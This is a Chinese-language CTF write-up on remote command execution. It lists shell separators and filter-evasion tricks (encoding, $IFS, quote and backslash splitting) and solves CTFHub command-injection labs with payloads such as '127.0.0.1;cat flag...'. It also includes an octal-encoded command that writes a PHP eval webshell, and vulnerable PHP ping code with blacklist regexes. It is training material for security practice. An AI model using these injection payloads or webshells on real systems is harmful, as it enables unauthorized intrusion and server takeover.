RCE遠程代碼執行
命令分割符:
linux:
%0a 、%0d 、; 、& 、| 、&&、||
分隔符 | 描述 |
---|---|
; | 如果每個命令都被一個分號(;)所分隔,那么命令會連續地執行下去 |
&& | 前面執行成功后面才會執行 |
& | 不執行錯誤檢查和運行所有命令 |
|| | 前面執行失敗才會執行后面 |
| | 符號 左邊輸出 作為右邊輸入。會顯示最后一個命令的執行結果 |
windows:
%0a、&、|、%1a(一個神奇的角色,作為.bat文件中的命令分隔符)
敏感字符過濾繞過:
-
使用拼接繞過
a=fl;b=ag;cat $a$b
-
使用編碼繞過
-
base
echo MTIzCg==|base64 -d #123
-
hex
echo "313233"|xxd -r -p #123
-
oct
$(printf "\154\163") #ls #可以通過這樣來寫webshell,內容為<?php @eval($_POST['c']);?> ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
-
-
反斜杠
ca\t fl\ag
-
單引號和雙引號繞過
ca''t flag
或ca""t flag
-
${}
執行代碼${phpinfo()};
過濾空格:
空格可以用以下字符串代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
$IFS在linux下表示分隔符,但是如果單純的cat$IFS2
,bash解釋器會把整個IFS2當做變量名,所以導致輸不出來結果,然而如果加一個{}就固定了變量名,同理在后面加個$可以起到截斷的作用,但是為什么要用$9呢,因為$9只是當前系統shell進程的第九個參數的持有者,它始終為空字符串。
命令注入
題目信息:
嘗試命令注入:
看到有一個php文件,8061098418328.php,直接用cat,但是沒有顯示。
解法一:
考慮到可能有無法顯示的特殊字符,使用base64輸出
<?php // ctfhub{695122f1d00f32ff2578f119f563cdc507df7b8c}
解法二:
嘗試寫入一句話后門:
后門寫入成功
獲得flag
過濾cat
本題過濾了cat
使用ca\t
繞過
沒有回顯,嘗試通過查看網頁源代碼,或者base64輸出解碼得到flag
過濾空格
使用<
代替空格:
解法一:
base64
解法二:
127.0.0.1&cat<flag_21154267199923.php
查看源代碼:
過濾分割符
查看目錄下的文件:
由於過濾了\
,考慮先切換到相應目錄,在進行查看:
127.0.0.1&cd flag_is_here;ls
可以選擇base64或查看網頁源代碼
這里我選擇直接查看源代碼
127.0.0.1&cd flag_is_here;cat flag_3975901425465.php
過濾運算符
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
過濾了|
與&
,使用;
分隔命令:
直接給出payload:
127.0.0.1;cat flag_35923221712564.php
127.0.0.1;base64 flag_35923221712564.php
= 127.0.0.1;cat flag_35923221712564.php|base64
綜合練習
先看源代碼:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
過濾清單還是比較豪華的。
嘗試繞過:
使用%0a
分隔命令,使用%09
代替空格
查看當前目錄下的文件:
查看flag_is_here文件夾下的文件:127.0.0.1%0als%09*is_here
查看flag:
構造payload127.0.0.1%0acd%09*is_here%0atac%09*_32560754932548.php